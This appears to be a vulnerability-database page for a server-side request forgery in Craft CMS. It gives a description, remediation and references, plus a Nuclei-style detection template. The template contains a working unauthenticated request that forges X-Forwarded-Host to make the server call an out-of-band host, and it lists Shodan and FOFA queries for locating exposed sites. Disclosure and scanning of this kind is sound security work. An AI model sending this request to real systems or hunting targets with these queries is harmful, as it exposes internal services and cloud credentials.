CVE-2026-41130: Craft CMS < 4.17.9, < 5.9.15 - Unauthenticated Server-Side Request Forgery

2026-11-29 PoC Public

Description

Craft CMS 4.0.0-RC1 to 4.17.8 and 5.0.0-RC1 to 5.9.14 contain an unauthenticated server-side request forgery in the app/resource-js action. The action only checks that the url parameter starts with the asset manager base URL. When the @web alias is not set, this base URL is built from the request host, and the default trustedHosts value lets the X-Forwarded-Host header set it, so the server fetches a URL on any host the attacker picks.

Details

CVE
CVE-2026-41130 · CVE.org
Severity
中危
Published
PoC
Public

PoC

id: CVE-2026-41130

info:
  name: Craft CMS < 4.17.9, < 5.9.15 - Unauthenticated Server-Side Request Forgery
  author: s4e-io
  severity: medium
  description: |
    Craft CMS 4.0.0-RC1 to 4.17.8 and 5.0.0-RC1 to 5.9.14 contain an unauthenticated server-side request forgery in the app/resource-js action. The action only checks that the url parameter starts with the asset manager base URL. When the @web alias is not set, this base URL is built from the request host, and the default trustedHosts value lets the X-Forwarded-Host header set it, so the server fetches a URL on any host the attacker picks.
  impact: |
    Unauthenticated attackers can make the Craft server send HTTP requests to internal or external hosts and read the response body, which can expose internal services and cloud metadata endpoints.
  remediation: |
    Upgrade to Craft CMS 4.17.9, 5.9.15 or later. As a workaround, set the @web alias to the fixed site URL.
  reference:
    - https://github.com/craftcms/cms/security/advisories/GHSA-95wr-3f2v-v2wh
    - https://github.com/craftcms/cms/commit/ebe7e85f1c89700d64332f72492be2e9a594e783
    - https://github.com/craftcms/cms/releases/tag/5.9.15
    - https://github.com/craftcms/cms/releases/tag/4.17.9
    - https://nvd.nist.gov/vuln/detail/CVE-2026-41130
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
    cvss-score: 5.5
    cve-id: CVE-2026-41130
    epss-score: 0.01086
    epss-percentile: 0.64898
    cwe-id: CWE-918
  metadata:
    verified: true
    max-request: 1
    vendor: craftcms
    product: craft_cms
    shodan-query: http.component:"Craft CMS"
    fofa-query: 'header="X-Powered-By: Craft CMS"'
  tags: cve,cve2026,craftcms,craft,ssrf,oast,unauth

variables:
  oast: "{{interactsh-url}}"

http:
  - raw:
      - |
        GET /index.php?p=admin/actions/app/resource-js&url={{Scheme}}://{{oast}}/cpresources/{{randstr}}.js HTTP/1.1
        Host: {{Hostname}}
        X-Forwarded-Host: {{oast}}
        X-Forwarded-Proto: {{Scheme}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "http")'
          - 'contains(content_type, "application/javascript")'
          - 'status_code == 200'
        condition: and
# digest: 4b0a00483046022100a0be68421bb0178c5029514db90f3bcdead4da8a39a997a8b5bd18d9a0bf4dd502210080bac9d32a5b00e653c5a1b3f734eb9191453db57e008b59359799aad670d89a:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life